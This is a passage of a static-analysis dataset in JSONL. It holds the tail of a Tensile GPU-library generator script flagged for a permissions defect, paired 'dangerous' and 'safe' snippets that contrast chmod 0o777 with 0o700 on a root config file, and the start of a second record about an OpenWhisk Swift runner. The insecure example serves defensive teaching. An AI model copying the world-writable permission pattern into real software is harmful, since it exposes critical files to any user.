\\\"SolutionHelper.h\\\"\\n\")\n  solutionHeaderFile.write(\"#include \\\"Tools.h\\\"\\n\")\n  if globalParameters[\"CodeFromFiles\"]:\n    solutionHeaderFile.write(\"#include \\n\")\n  if globalParameters[\"MergeFiles\"]:\n    solutionHeaderFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n\n\n  # Write a solution pointer typedef for each problemType:\n  h = \"\"\n  for problemType in problemTypes:\n    #print \"p=\", problemType\n    argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n    # declare TensileSolutionPointer_ProblemType\n    h += \"\\n// solution pointer\\n\"\n    h += \"typedef TensileStatus (*TensileSolutionPointer_%s)(\\n\" % problemType\n    for i in range(0, len(argListAll)):\n      h += \"    %s %s%s\" % (argListAll[i][0], argListAll[i][1], \",\\n\" \\\n          if i < len(argListAll)-1 else \");\\n\\n\")\n    h += \"\\n\"\n\n  solutionHeaderFile.write(h)\n#\n  for solution in solutions:\n    # get solution name\n    if not globalParameters[\"MergeFiles\"]:\n      solutionFileName = solutionWriter.getSolutionName(solution)\n\n    # write solution.cpp\n    if not globalParameters[\"MergeFiles\"]:\n      solutionSourceFile = open(os.path.join(outputPath, \\\n          \"Solutions\", solutionFileName+\".cpp\"), \"w\")\n      solutionSourceFile.write(CHeader)\n    solutionSourceFile.write( \\\n        solutionWriter.getProblemSourceString(solution[\"ProblemType\"], solution, kernelsWithBuildErrs))\n    if not globalParameters[\"MergeFiles\"]:\n      solutionSourceFile.close()\n\n    # write solution.h\n    if not globalParameters[\"MergeFiles\"]:\n      solutionHeaderFile = open(os.path.join(outputPath, \\\n          \"Solutions\", solutionFileName+\".h\"), \"w\")\n      solutionHeaderFile.write(CHeader)\n    solutionHeaderFile.write( \\\n        solutionWriter.getHeaderFileString(solution))\n    if not globalParameters[\"MergeFiles\"]:\n      solutionHeaderFile.close()\n    if globalParameters[\"ShowProgressBar\"]:\n      progressBar.increment()\n  # close merged\n  if not globalParameters[\"MergeFiles\"]:\n    solutionHeaderFile.close()\n\n  if globalParameters[\"ExitAfterKernelGen\"]:\n    printExit(\"** Exiting after kernel generation due to ExitAfterKernelGen=1\")\n\n  return codeObjectFiles\n\n################################################################################\n# Write Logic\n################################################################################\ndef writeLogic(outputPath, logicData, solutionWriter ):\n  print1(\"# Writing Library Logic\")\n\n  if not globalParameters[\"MergeFiles\"]:\n    ensurePath(os.path.join(outputPath, \"Logic\"))\n\n  # Tensile.h\n  h = \"\"\n  h += \"#pragma once\\n\"\n  h += \"#include \\\"TensileTypes.h\\\"\\n\"\n  h += \"#include \\\"SolutionHelper.h\\\"\\n\"\n  h += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n  # TensileInternal.h\n  ih = \"\"\n  ih += \"#include \\\"Tensile.h\\\"\\n\"\n\n  # Tensile.cpp\n\n  sourceIncludes = \"\"\n  sourceIncludes += \"#include \\\"Solutions.h\\\"\\n\"\n  sourceIncludes += \"#include \\\"Tensile.h\\\"\\n\"\n  sourceIncludes += \"#include \\\"TensileInternal.h\\\"\\n\"\n  sourceIncludes += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n  s = sourceIncludes\n\n  ########################################\n  # problemType\n  for problemType in logicData:\n\n    # function argument list\n    argListSizes = solutionWriter.getArgList(problemType, False, False, False, False)\n    argListData  = solutionWriter.getArgList(problemType, False, True, True, True)\n    argListAll  = solutionWriter.getArgList(problemType, True, True, True, True)\n    \n    # tensile initializer\n    h += \"\\nvoid tensileInitialize();\\n\\n\"\n\n    # declare tensile_ProblemType\n    h += \"\\n// enqueue solution\\n\"\n    h += \"TensileStatus tensile_%s(\\n\" % problemType\n    for i in range(0, len(argListData)):\n      h += \"    %s %s%s\" \\\n          % (argListData[i][0], argListData[i][1], \\\n          \",\\n\" if i < len(argListData)-1 else \");\\n\\n\")\n\n\n    numSizes = problemType[\"TotalIndices\"];\n    firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n    lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n    lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n    lastStrideC = problemType[\"NumIndicesC\"]\n    lastStrideD = problemType[\"NumIndicesC\"]\n    h += \"typedef ProblemKey<%u> ProblemKey_%s;\\n\" % (numSizes,problemType)\n    h += \"typedef ProblemDims<%u,%u,%u,%u,%u,%u> ProblemDims_%s;\\n\" \\\n        % (firstStride, lastStrideD, lastStrideC, lastStrideA, lastStrideB, numSizes, problemType)\n    h += \"typedef SolutionMapper SolutionMapper_%s;\\n\" \\\n            % (problemType, problemType, problemType)\n\n    # declare tensileGetSolutionPointer_ProblemType\n    h += \"\\n// get solution pointer\\n\"\n    h += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n    h += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n    for i in range(0, len(argListSizes)):\n      h += \"    %s %s%s\" \\\n          % (argListSizes[i][0], argListSizes[i][1], \\\n          \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n    # declare tensileName_\n    h += \"// get solution name\\n\"\n    h += \"const char * tensileGetSolutionName_%s(\\n\" \\\n        % (problemType)\n    for i in range(0, len(argListSizes)):\n      h += \"    %s %s%s\" \\\n          % (argListSizes[i][0], argListSizes[i][1], \\\n          \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n\n    # get solution naming for problem type\n    solutionsForProblemType = []\n    for scheduleTuple in logicData[problemType]:\n      solutionsForSchedule = scheduleTuple[2]\n      for solution in solutionsForSchedule:\n        if solution not in solutionsForProblemType:\n          solutionsForProblemType.append(solution)\n\n    # solution names for problem type\n    solutionNamesForProblemType = []\n    for solution in solutionsForProblemType:\n      solutionName = solutionWriter.getSolutionName(solution)\n      solutionNamesForProblemType.append(solutionName)\n\n    # reset problemType source\n    if not globalParameters[\"MergeFiles\"]:\n      filePrefix = \"Tensile_%s\" % (problemType)\n      s = sourceIncludes\n\n      for solutionName in solutionNamesForProblemType:\n        s += \"#include \\\"%s.h\\\"\\n\" % solutionName\n\n    ########################################\n    # Per-problem constants here:\n    # These are common for all schedules and thus do not include schedule name (vega,hip,etc)\n    s += \"\\n\"\n    s += \"/*******************************************************************************\\n\"\n    s += \"* Per-Problem Functions for %s\\n\" % problemType\n    s += \"*******************************************************************************/\\n\"\n\n    s += \"// Problem type include the index assignments for free, summation, batch:\\n\"\n    s += \"static const ProblemType problemType_%s( \" % problemType\n    s += listToInitializer(problemType[\"IndicesFree\"]) + \", \"\n    s += listToInitializer(problemType[\"IndicesSummation\"]) + \", \"\n    s += listToInitializer(problemType[\"IndicesBatch\"]) + \", \"\n    s += listToInitializer(problemType[\"IndexAssignmentsA\"]) + \", \"\n    s += listToInitializer(problemType[\"IndexAssignmentsB\"])\n    s += \");\\n\"\n\n    s += \"\\n\"\n    s += \"// Master solution mapper is the entry point for problem->solution mapping\\n\"\n    s += \"// There is one master solution mapper per problem type\\n\"\n    s += \"// The master solution mapper contains pointers to the solution mappers for each device\\n\"\n    s += \"static MasterSolutionMapper masterSolutionMapper_%s;\\n \" % (problemType,problemType)\n\n\n    ########################################\n    # implement per-Schedule functions in source\n    s += \"\\n\"\n    s += \"/*******************************************************************************\\n * Per-Schedule Functions\\n *******************************************************************************/\"\n    for scheduleTuple in logicData[problemType]:\n\n      # get logic parameters for problem type\n      scheduleName  = scheduleTuple[0]\n      deviceNames   = scheduleTuple[1]\n      solutionsForSchedule = scheduleTuple[2]\n      indexOrder    = scheduleTuple[3]\n      exactLogic    = scheduleTuple[4]\n      rangeLogic    = scheduleTuple[5]\n\n      # solution names for schedule\n      solutionNamesForSchedule = []\n      for solution in solutionsForSchedule:\n        solutionName = solutionWriter.getSolutionName(solution)\n        solutionNamesForSchedule.append(solutionName)\n\n      s += \"\\n\\n\"\n      schedProbName = \"%s_%s\" % (scheduleName, problemType)\n      s += writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n              solutionsForSchedule, solutionNamesForSchedule, exactLogic)\n\n\n    # Per-problem function here:\n    # function tensileGetSolutionPointer_ProblemType\n    del schedProbName\n    del scheduleName\n    s += \"\\n// problem dims -> solution logic\\n\"\n    s += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n    s += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n    for i in range(0, len(argListSizes)):\n      s += \"    %s %s%s\" \\\n          % (argListSizes[i][0], argListSizes[i][1], \\\n          \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n    exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n                                    solutionsForSchedule, exactLogic, \\\n                                    solutionNamesForSchedule, True)\n    if rangeLogic != None:\n      print(\"** warning: ignored ranges in logic file, these should have been expanded with ExpandRanges=1 during Tensile phase 3\")\n    s += \"  /* exact mappings */\\n\"\n    s += exactLogicStr\n    s += \"\\n  return nullptr;\\n\"\n    s += \"\\n}\\n\"\n\n    # function tensileGetSolutionName_Schedule_ProblemType\n    s += \"\\n// get solution name for problem dims\\n\"\n    s += \"const char * tensileGetSolutionName_%s(\\n\" \\\n        % (problemType)\n    for i in range(0, len(argListSizes)):\n      s += \"    %s %s%s\" \\\n          % (argListSizes[i][0], argListSizes[i][1], \\\n          \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n    exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n                                    solutionsForSchedule, exactLogic, \\\n                                    solutionNamesForSchedule, False)\n    s += \"  /* exact mappings */\\n\"\n    s += exactLogicStr\n    #s += \"  return NULL; // none\\n\"\n    s += \"\\n}\\n\"\n\n    ########################################\n    # implement problem-type functions in source\n    s += \"/*******************************************************************************\\n * Per-ProblemType Functions\\n *******************************************************************************/\"\n\n\n    # declare tensile_ProblemType\n    s += \"\\n// main call to solution; enqueues a kernel\\n\"\n    s += \"TensileStatus tensile_%s(\\n\" % problemType\n    for i in range(0, len(argListData)):\n      s += \"    %s %s%s\" \\\n          % (argListData[i][0], argListData[i][1], \\\n          \",\\n\" if i < len(argListData)-1 else \") {\\n\")\n    s += \"    auto solution = tensileGetSolutionPointer_%s(\\n\" % (problemType)\n    for i in range(0, len(argListSizes)):\n      s += \"        %s%s\" \\\n          % (argListSizes[i][1], \", \" if i < len(argListSizes)-1 else \");\")\n      s += \"\\n\"\n    s += \"    if (solution) {\\n\"\n    s += \"      TensileSolutionPointer_%s f = reinterpret_cast (solution->_info->_functionPtr);\\n\" \\\n      % (problemType, problemType)\n    s += \"      auto solutionLock = &solution->_lock;\\n\"\n    s += \"      return f(\"\n    for i in range(0, len(argListAll)):\n      s += \"%s%s\" \\\n          % (argListAll[i][1], \", \" if i < len(argListAll)-1 else \");\\n\")\n    s += \"    } else {\\n\"\n    #s += \"      printf(\\\"solution not valid, returning fail\\\\n\\\");\"\n    s += \"      return tensileStatusFailure; // no solution found\\n\"\n    s += \"    }\\n\"\n    s += \"}\\n\"\n\n    # open and close problemType files\n    if not globalParameters[\"MergeFiles\"]:\n      logicSourceFile = open(os.path.join(outputPath, \"Logic\", \\\n          \"%s.cpp\" % filePrefix), \"w\")\n      logicSourceFile.write(s)\n      logicSourceFile.close()\n\n  s += \"\\n\"\n  s += writeTensileInitialize(logicData)\n\n  # close merged files\n  if globalParameters[\"MergeFiles\"]:\n    logicSourceFile = open(os.path.join(outputPath, \\\n        \"Tensile.cpp\"), \"w\")\n    logicSourceFile.write(s)\n    logicSourceFile.close()\n\n  logicHeaderFile = open(os.path.join(outputPath, \\\n      \"Tensile.h\"), \"w\")\n  logicHeaderFile.write(h)\n  logicHeaderFile.close()\n\n  internalHeaderFile = open(os.path.join(outputPath, \\\n      \"TensileInternal.h\"), \"w\")\n  internalHeaderFile.write(ih)\n  internalHeaderFile.close()\n\n\ndef writeTensileInitialize(logicData):\n\n  s = \"/*******************************************************************************\\n\"\n  s += \"* Tensilze initializer\\n\"\n  s += \"*******************************************************************************/\\n\"\n  s += \"void tensileInitialize() {\\n\"\n\n  for problemType in logicData:\n    s += \"  masterSolutionMapper_%s.initialize();\\n\" % problemType\n    \n    for scheduleTuple in logicData[problemType]:\n      scheduleName  = scheduleTuple[0]\n      deviceNames   = scheduleTuple[1]\n\n\n      schedProbName = \"%s_%s\" % (scheduleName, problemType)\n      s += \"  solutionMapper_%s.initializeMappers(\" % (schedProbName)\n      s += \"{%s},\" % (', '.join('\"{0}\"'.format(w) for w in deviceNames))\n      s += \"&masterSolutionMapper_%s);\\n\" % (problemType)\n      \n  s += \"}\"\n\n  return s\n\ndef writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n                               solutionsForSchedule, solutionNames, exactLogic):\n  s = \"\"\n  s += \"namespace { // Start schedule '%s'\\n\" % scheduleName\n\n  s += \"// solution table - function, name, assertion requirements\\n\"\n  s += \"static const SolutionInfo solutionTable_%s[] = {\\n\" % (schedProbName)\n  for i in range(0, len(solutionsForSchedule)):\n    solution = solutionsForSchedule[i]\n    solutionName = solutionNames[i]\n    s += \"  {(void*)%s, \\\"%s\\\", {%d, %d, %d, %d, %d, %d, %d} }%s // %d\" % \\\n      (solutionName, solutionName, \\\n        solution[\"AssertSummationElementMultiple\"], \\\n        solution[\"AssertFree0ElementMultiple\"], \\\n        solution[\"AssertFree1ElementMultiple\"], \\\n        solution[\"AssertMinApproxSize\"], \\\n        solution[\"LdcEqualsLdd\"], \\\n        solution[\"PackBatchDims\"]==2, \\\n        solution[\"PackBatchDims\"]==1, \\\n        \",\" if i < len(solutionsForSchedule)-1 else \"\", \\\n        i)\n    s += \"\\n\"\n\n  s += \"};\\n\\n\"\n\n  # Write the exact problems here\n  s += \"// table of exact problem dims and selected solutionIdx\\n\"\n  s += \"static const std::pair embeddedExactTable_%s[] = {\\n\" % (problemType,schedProbName)\n  numSizes = problemType[\"TotalIndices\"]\n  for ruleIdx in range(0, len(exactLogic)):\n    rule = exactLogic[ruleIdx]\n    problemSize = rule[0][:numSizes]\n    solutionIdx = rule[1][0]\n    solutionGFlops = rule[1][1]\n    s += \" { {\"\n    for i in range(0, len(problemSize)):\n      if i == 0:\n        s += \"%u\" % problemSize[i];\n      else:\n        s += \", %u\" % problemSize[i];\n    s += \"}, %u}\" % (solutionIdx)\n    s += \",\" if ruleIdx != len(exactLogic)-1 else \" \"\n    s += \" // %.0f GFlop/s\" % (solutionGFlops)\n    s += \"\\n\";\n  s += \"};\\n\\n\"\n\n  # Create a solution mapper and init with the table above:\n  s += \"// The solution master constructor here adds device to the master solution mapper\\n\"\n  s += \"// The entrypoint to find a solution for this problem is through the master solution master\\n\"\n  s += \"static SolutionMapper_%s solutionMapper_%s(\\n\" % (problemType, schedProbName)\n  s += \"  \\\"%s\\\", // schedule+problem name\\n\" % (schedProbName) \n  s += \"  solutionTable_%s, %u,\\n\" % (schedProbName, len(solutionsForSchedule))\n  s += \"  embeddedExactTable_%s, %u,\\n\" % (schedProbName, len(exactLogic))\n  s += \"  &problemType_%s);\\n\" % (problemType)\n\n  s += \"} // end anonymous namespace\\n\" \n  return s\n\n\n################################################################################\n# Write Range Logic Recursive\n# ptr :\n#   True : write logic to return the function pointer\n#   False : write logic to return the function name\n################################################################################\ndef writeExactLogic(problemType, indexOrder,\n                    solutionsForSchedule, exactLogic, \\\n                    solutionNames, ptr):\n  s = \"\"\n  s += \"  ProblemDims_%s pdims(\" % problemType\n  indexChars = globalParameters[\"IndexChars\"]\n  firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n  lastStrideD = problemType[\"NumIndicesC\"]\n  lastStrideC = problemType[\"NumIndicesC\"]\n  lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n  lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n  for i in range(firstStride,lastStrideD):\n    if i != firstStride: s += \", \"\n    s += \"strideD%u%s\" % (i, indexChars[i])\n  for i in range(firstStride,lastStrideC):\n    s += \", strideC%u%s\" % (i, indexChars[i])\n  for i in range(firstStride,lastStrideA):\n    s += \", strideA%u%s\" % (i, \\\n        indexChars[problemType[\"IndexAssignmentsA\"][i]])\n  for i in range(firstStride,lastStrideB):\n    s += \", strideB%u%s\" % (i, \\\n        indexChars[problemType[\"IndexAssignmentsB\"][i]])\n  for i in range(0,len(indexOrder)):\n    s += \", size%s\" % indexChars[i]\n  s += \");\\n\"\n\n  s += \"  auto solutionMapper = reinterpret_cast (masterSolutionMapper_%s.mapper());\\n\"  \\\n      % (problemType, problemType)\n  if ptr:\n    s += \"  return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s);\\n\" % problemType\n  else:\n    s += \"  return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s)->_info->_name;\\n\" % problemType\n\n  return s\n\n\n################################################################################\n# Write Solution Call\n################################################################################\ndef writeSolutionCall(solutionName, problemType):\n  indexChars = globalParameters[\"IndexChars\"]\n  s = \"\"\n  s += \"%s(\" % solutionName\n  # solution parameters\n  s += \" dataD, dataC, dataA, dataB, alpha\"\n  if problemType[\"UseBeta\"]:\n    s += \", beta\"\n  s += \", offsetC, offsetA, offsetB\"\n  firstStride = 1\n  if problemType[\"UseInitialStrides\"]:\n    firstStride = 0\n  lastStrideD = problemType[\"NumIndicesC\"]\n  lastStrideC = problemType[\"NumIndicesC\"]\n  lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n  lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n  for i in range(firstStride,lastStrideD):\n    s += \", strideD%u%s\" % (i, indexChars[i])\n  for i in range(firstStride,lastStrideC):\n    s += \", strideC%u%s\" % (i, indexChars[i])\n  for i in range(firstStride,lastStrideA):\n    s += \", strideA%u%s\" % (i, \\\n        indexChars[problemType[\"IndexAssignmentsA\"][i]])\n  for i in range(firstStride,lastStrideB):\n    s += \", strideB%u%s\" % (i, \\\n        indexChars[problemType[\"IndexAssignmentsB\"][i]])\n  for i in range(0, problemType[\"TotalIndices\"]):\n    s += \", size%s\" % indexChars[i]\n  s += \", stream, numInputEvents, inputEvents, outputEvent )\"\n  return s\n\n\n\n\n################################################################################\n# Write CMake\n################################################################################\ndef writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName ):\n  print1(\"# Writing Custom CMake\")\n  ##############################################################################\n  # Min Naming\n  ##############################################################################\n  if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"] :\n    solutionSerialNaming = Solution.getSerialNaming(solutions)\n    kernelSerialNaming = Solution.getSerialNaming(kernels)\n  else:\n    solutionSerialNaming = None\n    kernelSerialNaming = None\n  solutionMinNaming = Solution.getMinNaming(solutions)\n  kernelMinNaming = Solution.getMinNaming(kernels)\n  solutionWriter = SolutionWriter( \\\n      solutionMinNaming, solutionSerialNaming, \\\n      kernelMinNaming, kernelSerialNaming)\n  kernelWriterSource = KernelWriterSource( \\\n      kernelMinNaming, kernelSerialNaming)\n  kernelWriterAssembly = KernelWriterAssembly( \\\n      kernelMinNaming, kernelSerialNaming)\n\n  generatedFile = open(os.path.join(outputPath, \"Generated.cmake\"), \"w\")\n  generatedFile.write(CMakeHeader)\n  generatedFile.write(\"set( TensileClient_SOLUTIONS\\n\")\n\n  # write solution names\n  if globalParameters[\"MergeFiles\"]:\n    generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Solutions.h\\n\")\n    generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Solutions.cpp\\n\")\n  else:\n    for solution in solutions:\n      solutionName = solutionWriter.getSolutionName(solution)\n      generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Solutions/%s.h\\n\" \\\n          % (solutionName) )\n      generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Solutions/%s.cpp\\n\" \\\n          % (solutionName) )\n  generatedFile.write(\"  )\\n\")\n\n  # write kernel names\n  generatedFile.write(\"set( TensileClient_KERNELS\\n\")\n  if globalParameters[\"MergeFiles\"]:\n    generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Kernels.h\\n\")\n    generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Kernels.cpp\\n\")\n  else:\n    for kernel in kernels:\n      kernelName = kernelWriterSource.getKernelName(kernel) if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly.getKernelName(kernel) \n      generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Kernels/%s.h\\n\" % (kernelName))\n      generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/Kernels/%s.cpp\\n\" % kernelName)\n  generatedFile.write(\"  )\\n\")\n\n\n  generatedFile.write(\"set( TensileClient_SOURCE\\n\")\n  for fileName in libraryStaticFiles:\n    # copy file\n    shutil.copy( os.path.join(globalParameters[\"SourcePath\"], fileName), \\\n        outputPath )\n    # add file to cmake\n    generatedFile.write(\"  ${CMAKE_SOURCE_DIR}/%s\\n\" % fileName)\n  generatedFile.write(\"  )\\n\\n\")\n\n  # close generated cmake\n  generatedFile.close()\n\n\n\n################################################################################\n# Tensile Create Library\n################################################################################\ndef TensileCreateLibrary():\n  print1(\"\")\n  print1(HR)\n  print1(\"# Tensile Create Library\")\n  print2(HR)\n  print2(\"\")\n\n  ##############################################################################\n  # Parse Command Line Arguments\n  ##############################################################################\n  print2(\"Arguments: %s\" % sys.argv)\n  argParser = argparse.ArgumentParser()\n  argParser.add_argument(\"LogicPath\",       help=\"Path to LibraryLogic.yaml files.\")\n  argParser.add_argument(\"OutputPath\",      help=\"Where to write library files?\")\n  argParser.add_argument(\"RuntimeLanguage\", help=\"Which runtime language?\", choices=[\"OCL\", \"HIP\", \"HSA\"])\n  argParser.add_argument(\"--cxx-compiler\",           dest=\"CxxCompiler\",       choices=[\"hcc\", \"hipcc\"],       action=\"store\", default=\"hcc\")\n  argParser.add_argument(\"--code-object-version\",    dest=\"CodeObjectVersion\", choices=[\"V2\", \"V3\"], action=\"store\", default=\"V2\")\n  argParser.add_argument(\"--merge-files\",            dest=\"MergeFiles\",        action=\"store_true\")\n  argParser.add_argument(\"--no-merge-files\",         dest=\"MergeFiles\",        action=\"store_false\")\n  argParser.add_argument(\"--short-file-names\",       dest=\"ShortNames\",        action=\"store_true\")\n  argParser.add_argument(\"--no-short-file-names\",    dest=\"ShortNames\",        action=\"store_false\")\n  argParser.add_argument(\"--library-print-debug\",    dest=\"LibraryPrintDebug\", action=\"store_true\")\n  argParser.add_argument(\"--no-library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_false\")\n  argParser.add_argument(\"--embed-library\",          dest=\"EmbedLibrary\",\n                         help=\"Embed (new) library files into static variables.  Specify the name of the library.\")\n\n  argParser.add_argument(\"--embed-library-key\",      dest=\"EmbedLibraryKey\", default=None,\n                         help=\"Access key for embedding library files.\")\n  args = argParser.parse_args()\n\n  logicPath = args.LogicPath\n  outputPath = args.OutputPath\n  CxxCompiler = args.CxxCompiler\n  print2(\"OutputPath: %s\" % outputPath)\n  ensurePath(outputPath)\n  arguments = {}\n  arguments[\"RuntimeLanguage\"] = args.RuntimeLanguage\n  arguments[\"CodeObjectVersion\"] = args.CodeObjectVersion\n  arguments[\"CxxCompiler\"] = args.CxxCompiler\n  arguments[\"MergeFiles\"] = args.MergeFiles\n  arguments[\"ShortNames\"] = args.ShortNames\n  arguments[\"LibraryPrintDebug\"] = args.LibraryPrintDebug\n  arguments[\"CodeFromFiles\"] = False\n  arguments[\"EmbedLibrary\"] = args.EmbedLibrary\n  assignGlobalParameters(arguments)\n\n  print1(\"# CodeObjectVersion from TensileCreateLibrary: %s\" % arguments[\"CodeObjectVersion\"])\n  print1(\"# CxxCompiler       from TensileCreateLibrary: %s\" % CxxCompiler)\n\n  if not os.path.exists(logicPath):\n    printExit(\"LogicPath %s doesn't exist\" % logicPath)\n\n  logicFiles = [os.path.join(logicPath, f) for f in os.listdir(logicPath) \\\n      if (os.path.isfile(os.path.join(logicPath, f)) \\\n      and os.path.splitext(f)[1]==\".yaml\")]\n\n  print1(\"# LibraryLogicFiles:\" % logicFiles)\n  for logicFile in logicFiles:\n    print1(\"#   %s\" % logicFile)\n\n  ##############################################################################\n  # Parse config files\n  ##############################################################################\n  solutions = []\n  logicData = {} # keys are problemTypes, values are schedules\n  newMasterLibrary = None\n\n  libraries = Common.ParallelMap(YAMLIO.readLibraryLogicForSchedule, logicFiles, \"Reading logic files\")\n\n  for logic in Utils.tqdm(libraries, \"Processing logic data\"):\n    (scheduleName, deviceNames, problemType, solutionsForSchedule, \\\n       indexOrder, exactLogic, rangeLogic, newLibrary) = logic\n\n    if problemType not in logicData:\n      logicData[problemType] = []\n    logicData[problemType].append((scheduleName, deviceNames, \\\n        solutionsForSchedule, indexOrder, exactLogic, rangeLogic ))\n    for solution in solutionsForSchedule:\n      if solution not in solutions:\n        solutions.append(solution)\n\n    if newMasterLibrary is None:\n        newMasterLibrary = newLibrary\n    else:\n        newMasterLibrary.merge(newLibrary)\n\n  # create solution writer and kernel writer\n  kernels = []\n  kernelsBetaOnly = []\n  for solution in solutions:\n    solutionKernels = solution.getKernels()\n    for kernel in solutionKernels:\n      if kernel not in kernels:\n        kernels.append(kernel)\n    solutionKernelsBetaOnly = solution.getKernelsBetaOnly()\n    for kernel in solutionKernelsBetaOnly:\n      if kernel not in kernelsBetaOnly:\n        kernelsBetaOnly.append(kernel)\n\n  # if any kernels are assembly, append every ISA supported\n\n  if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"]:\n    solutionSerialNaming = Solution.getSerialNaming(solutions)\n    kernelSerialNaming = Solution.getSerialNaming(kernels)\n  else:\n    solutionSerialNaming = None\n    kernelSerialNaming = None\n  solutionMinNaming = Solution.getMinNaming(solutions)\n  kernelMinNaming = Solution.getMinNaming(kernels)\n  solutionWriter = SolutionWriter( \\\n      solutionMinNaming, solutionSerialNaming, \\\n      kernelMinNaming, kernelSerialNaming)\n  kernelWriterSource = KernelWriterSource( \\\n      kernelMinNaming, kernelSerialNaming)\n  kernelWriterAssembly = KernelWriterAssembly( \\\n      kernelMinNaming, kernelSerialNaming)\n\n  libraryStaticFiles = [\n      \"SolutionMapper.h\",\n      \"TensileTypes.h\",\n      \"tensile_bfloat16.h\",\n      \"KernelHeader.h\",\n      \"SolutionHelper.cpp\",\n      \"SolutionHelper.h\",\n      \"Tools.cpp\",\n      \"Tools.h\" ]\n\n  # write cmake\n  clientName = \"LibraryClient\"\n  writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName )\n\n  # write solutions and kernels\n  problemTypes = list(logicData.keys())\n  codeObjectFiles = writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions,\n                                             kernels, kernelsBetaOnly,\n                                             solutionWriter,\n                                             kernelWriterSource, kernelWriterAssembly)\n\n  # write logic\n  writeLogic(outputPath, logicData, solutionWriter)\n\n  newLibraryDir = ensurePath(os.path.join(outputPath, 'library'))\n  \n  masterFile = os.path.join(newLibraryDir, \"TensileLibrary.yaml\")\n  newMasterLibrary.applyNaming(kernelMinNaming)\n  YAMLIO.write(masterFile, Utils.state(newMasterLibrary))\n\n  if args.EmbedLibrary is not None:\n      embedFileName = os.path.join(outputPath, \"library/{}.cpp\".format(args.EmbedLibrary))\n      with EmbeddedData.EmbeddedDataFile(embedFileName) as embedFile:\n          embedFile.embed_file(newMasterLibrary.cpp_base_class, masterFile, nullTerminated=True,\n                               key=args.EmbedLibraryKey)\n\n          for co in Utils.tqdm(codeObjectFiles):\n              embedFile.embed_file(\"SolutionAdapter\", co, nullTerminated=False,\n                                   key=args.EmbedLibraryKey)\n\n  print1(\"# Tensile Library Writer DONE\")\n  print1(HR)\n  print1(\"\")\n", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 216, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "5b2ad5cc0eef7597b6e85c717ce6b3b0eedea00ce13983b84ac3d390ed8b597a", "license": {"spdx": ["Apache-2.0"], "repo": "ianpartridge/incubator-openwhisk-runtime-swift", "path": "core/swift3.1.1Action/swift3runner.py", "repo_head_hexsha": "5aacba1435f46b13cbb0a70874afb4b53c1a78bc", "stack_hexsha": "f41456d2af09359f55da03d5a94e013a18221147", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 76, "entireCode": "\"\"\"Python proxy to run Swift action.\n\n/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\"\"\"\nimport os\nimport glob\nimport 